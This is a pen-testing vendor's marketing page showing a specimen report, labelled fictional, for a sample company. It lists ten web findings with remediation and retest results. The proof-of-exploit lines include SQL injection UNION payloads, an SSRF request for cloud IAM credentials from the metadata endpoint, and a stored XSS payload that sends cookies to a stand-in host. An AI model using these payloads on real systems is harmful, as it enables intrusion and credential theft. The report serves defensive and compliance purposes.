50% off your first month.Start now →
Muster.
← Pen test for SOC 2

Specimen report. The company, findings, and all data below are fictional and shown to illustrate the format of Muster's attested deliverable. It is not a record of a real engagement.

Attested Report · Confidential

Muster.

Penetration Test Report

CLIENT    Northwind Labs, Inc. (sample)

TARGET    app.northwind.example

WINDOW    Jul 27 – Jul 29, 2026

METHOD    OWASP-aligned, non-destructive

RATING    CVSS 3.1 base scores

PURPOSE   SOC 2 Type II evidence

REPORT    v1.0 · Jul 30, 2026

RESULT    all findings closed on retest

Executive summary

Muster conducted an automated, non-destructive penetration test of the Northwind Labs web application and API over a three-day window. The engagement identified ten vulnerabilities: two critical, three high, three medium, and two low. Each finding was proven with a replayed exploit and reported with a specific, code-level remediation. Northwind remediated all ten, and Muster re-tested and confirmed each as closed. As of the report date, no open findings remain. The most serious issues, a SQL injection and a server-side request forgery that reached cloud credentials, were both exploitable without prior authentication and are detailed below.

2 CRITICAL3 HIGH3 MEDIUM2 LOW10 FIXED · RETEST PASSED

Scope & methodology

Testing covered the authenticated and unauthenticated surface of the target application, its API, and the cloud exposure reachable from the app tier. All activity was scoped to the authorized assets, rate-limited, and non-destructive: no data-changing payloads were run against production records. Severities use CVSS 3.1 base scores.

AssetTypeCoverage
app.northwind.exampleWeb applicationAuthenticated + unauthenticated surface
api.northwind.exampleREST APIAll documented + discovered endpoints
Cloud posture (AWS)ConfigurationExposure reachable from the app tier

1 · Reconnaissance

Map the attack surface: routes, APIs, auth flows, parameters, and cloud exposure reachable from the app.

2 · Exploitation

AI agents run the attacker's loop across the OWASP Top 10, chaining steps and abusing business logic, not just signature checks.

3 · Proof

Confirm each issue with a replayed request captured as evidence. Unproven 'potential' issues are not reported.

4 · Retest

After remediation, replay every exploit and record the closed result before the report is attested.

Critical · CVSS 9.0 – 10.0High · CVSS 7.0 – 8.9Medium · CVSS 4.0 – 6.9Low · CVSS 0.1 – 3.9

Findings at a glance

IDFindingSeverityCVSSStatus
MUS-001SQL injection in product searchCRITICAL9.4Closed
MUS-002Server-side request forgery reaches cloud metadataCRITICAL9.1Closed
MUS-003Broken access control on order records (IDOR)HIGH8.1Closed
MUS-004Admin API responds without a sessionHIGH7.5Closed
MUS-005Password reset token does not expireHIGH7.4Closed
MUS-006Stored cross-site scripting in profile nameMEDIUM6.4Closed
MUS-007No rate limiting on login (credential stuffing)MEDIUM5.9Closed
MUS-008Verbose error exposes database schemaMEDIUM5.3Closed
MUS-009Missing HTTP security headersLOW3.7Closed
MUS-010Session cookie missing HttpOnly and Secure flagsLOW3.1Closed

Findings in detail

CRITICAL · CVSS 9.4MUS-001

SQL injection in product search

A03: InjectionCWE-89GET /api/products (q parameter)

Impact. The search parameter was concatenated directly into a SQL query. An unauthenticated attacker could read any table in the database, including password hashes and unpublished records, and in principle modify or delete data.

Proof of exploit

GET /api/products?q=widget' OR '1'='1
→ 200 OK · returned 3,914 rows (full catalog incl. unpublished)

GET /api/products?q=x' UNION SELECT email,pass_hash,1,2 FROM users--
→ 200 OK · leaked 312 user emails + bcrypt hashes

Remediation. Replace string concatenation with parameterized queries (prepared statements) for every user-supplied value. Add an allowlist for sortable/filterable columns.

Retest. Replayed after fix → payloads treated as literal search text, no rows leaked. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

CRITICAL · CVSS 9.1MUS-002

Server-side request forgery reaches cloud metadata

A10: Server-Side Request ForgeryCWE-918POST /api/integrations/fetch (url parameter)

Impact. The integration preview fetched any URL supplied by the user with no host restrictions. An attacker could reach the cloud instance metadata endpoint and retrieve temporary IAM role credentials, a path to broader cloud account compromise.

Proof of exploit

POST /api/integrations/fetch
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role" }
→ 200 OK · returned AccessKeyId, SecretAccessKey, Token

Remediation. Resolve and validate the target host against an allowlist before fetching. Block link-local, loopback, and private ranges. Require IMDSv2 (session-token) on the cloud instances.

Retest. Replayed after fix → 400 Bad Request (host not allowed); metadata range unreachable. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

HIGH · CVSS 8.1MUS-003

Broken access control on order records (IDOR)

A01: Broken Access ControlCWE-639GET / PATCH /api/orders/{id}

Impact. Any authenticated user could read and modify any other customer's order, including name, shipping address, and line items, by changing the numeric id in the request path. No ownership check was enforced.

Proof of exploit

GET /api/orders/4012   (as user 8830)
→ 200 OK · returned order belonging to user 2261

PATCH /api/orders/4012  { "shippingAddress": "attacker-controlled" }
→ 200 OK · order 2261 modified

Remediation. Enforce an ownership check on the order lookup: scope the query to the authenticated user id, and return 404 (not 403) for records they do not own.

Retest. Replayed after fix → 404 Not Found on both read and write. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

HIGH · CVSS 7.5MUS-004

Admin API responds without a session

A07: Identification & Authentication FailuresCWE-306GET /api/admin/users

Impact. The internal admin user-listing endpoint returned data to unauthenticated requests, exposing email addresses and role assignments for every user.

Proof of exploit

GET /api/admin/users   (no auth header)
→ 200 OK · 312 user records (email, role, last_login)

Remediation. Require and verify an authenticated admin session on all /api/admin routes at the middleware layer, not per-handler.

Retest. Replayed after fix → 401 Unauthorized. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

HIGH · CVSS 7.4MUS-005

Password reset token does not expire

A07: Identification & Authentication FailuresCWE-640POST /api/auth/reset

Impact. Password reset tokens remained valid indefinitely and could be reused, so a leaked or intercepted reset link could be used days later to take over an account.

Proof of exploit

POST /api/auth/reset  { "token": "<9-day-old token>", "password": "…" }
→ 200 OK · password changed
Reused the same token again → 200 OK · changed a second time

Remediation. Expire reset tokens after 30 minutes, bind them to a single account, and invalidate on first use.

Retest. Replayed after fix → 410 Gone on both the stale and the reused token. Confirmed closed.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

MEDIUM · CVSS 6.4MUS-006

Stored cross-site scripting in profile name

A03: InjectionCWE-79PATCH /api/profile (displayName)

Impact. The display name was rendered without output encoding on the shared team page, so a script stored by one user executed in every teammate's browser, enabling session-cookie theft and actions on their behalf.

Proof of exploit

PATCH /api/profile
{ "displayName": "<img src=x onerror=fetch('//evil.tld/c?'+document.cookie)>" }
→ payload stored, then executed for every viewer of /team

Remediation. Encode all user-supplied values on output (context-aware escaping). Add a Content-Security-Policy that disallows inline script as defense in depth.

Retest. Replayed after fix → payload rendered as inert text; no script executed. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

MEDIUM · CVSS 5.9MUS-007

No rate limiting on login (credential stuffing)

A07: Identification & Authentication FailuresCWE-307POST /api/auth/login

Impact. The login endpoint accepted unlimited attempts with no throttling, lockout, or CAPTCHA, allowing large-scale password guessing and credential-stuffing against user accounts.

Proof of exploit

2,000 login attempts in 60s from one IP
→ all 200/401 processed, no throttle, no lockout, no challenge

Remediation. Add per-account and per-IP rate limiting with exponential backoff, lock after repeated failures, and add a challenge on anomalous volume.

Retest. Replayed after fix → throttled after 10 attempts (429), account challenged. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

MEDIUM · CVSS 5.3MUS-008

Verbose error exposes database schema

A05: Security MisconfigurationCWE-209POST /api/checkout

Impact. An unhandled error returned a full stack trace including the ORM query and underlying table and column names, helping an attacker map the data model.

Proof of exploit

POST /api/checkout   (malformed body)
→ 500 · stack trace incl. SQL text, table + column names, file paths

Remediation. Return a generic error to clients; log details server-side only. Disable debug responses in production.

Retest. Replayed after fix → generic 500, no internals disclosed. Confirmed closed.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

LOW · CVSS 3.7MUS-009

Missing HTTP security headers

A05: Security MisconfigurationCWE-693All responses (app.northwind.example)

Impact. Responses lacked HSTS, Content-Security-Policy, and X-Content-Type-Options, weakening defenses against protocol downgrade, content sniffing, and injection exploitation.

Proof of exploit

GET /  →  200 OK
missing: Strict-Transport-Security, Content-Security-Policy,
X-Content-Type-Options: nosniff

Remediation. Set HSTS with a long max-age, a restrictive CSP, X-Content-Type-Options: nosniff, and Referrer-Policy at the edge for all responses.

Retest. Replayed after fix → all headers present and correctly scoped. Confirmed closed.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

LOW · CVSS 3.1MUS-010

Session cookie missing HttpOnly and Secure flags

A05: Security MisconfigurationCWE-1004Set-Cookie: session

Impact. The session cookie was set without HttpOnly or Secure, so it was readable by client-side script (widening the impact of any XSS) and could be sent over plaintext HTTP.

Proof of exploit

Set-Cookie: session=…; Path=/
missing: HttpOnly; Secure; SameSite

Remediation. Set session cookies with HttpOnly, Secure, and SameSite=Lax (or Strict). Serve the app over HTTPS only.

Retest. Replayed after fix → cookie set with HttpOnly; Secure; SameSite=Lax. Confirmed closed.

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Compliance control mapping

Auditors want to know which controls this test provides evidence for. The table maps each finding theme to the relevant SOC 2 Trust Services Criteria and ISO/IEC 27001:2022 Annex A controls. Because every finding was remediated and re-tested, the report also evidences a working vulnerability-management and remediation cycle.

ThemeFindingsSOC 2 (TSC)ISO 27001
Logical access & authorization001–005CC6.1, CC6.3A.5.15, A.8.3
Secure development / input handling001, 006, 008CC8.1A.8.28
Authentication & session005, 007, 010CC6.1A.5.17, A.8.5
System configuration & hardening008–010CC6.6, CC7.1A.8.9
Vulnerability management & retestallCC7.1, CC4.1A.8.8

Control references are illustrative and provided to support, not replace, your auditor's assessment.

Remediation & retest

10 / 10

findings remediated

10 / 10

closed on retest

0

open at report date

Reported Jul 29 → remediated by the Northwind team → each exploit replayed by Muster and confirmed closed by Jul 30. Muster continues to re-test on every deploy, so this evidence stays current rather than expiring the next time the app changes.

Attestation

This report attests that Muster conducted the penetration test described above against the authorized target during the stated window, that the findings were proven and reported as documented, and that all findings were re-tested and confirmed closed as of the report date.

Muster Security

Signed & dated · Jul 30, 2026

Muster.

Specimen report. The company, findings, and all data below are fictional and shown to illustrate the format of Muster's attested deliverable. It is not a record of a real engagement.

Get a report like this for your own app.

Run the pen test free, fix what it finds, and export the signed, attested report for your auditor.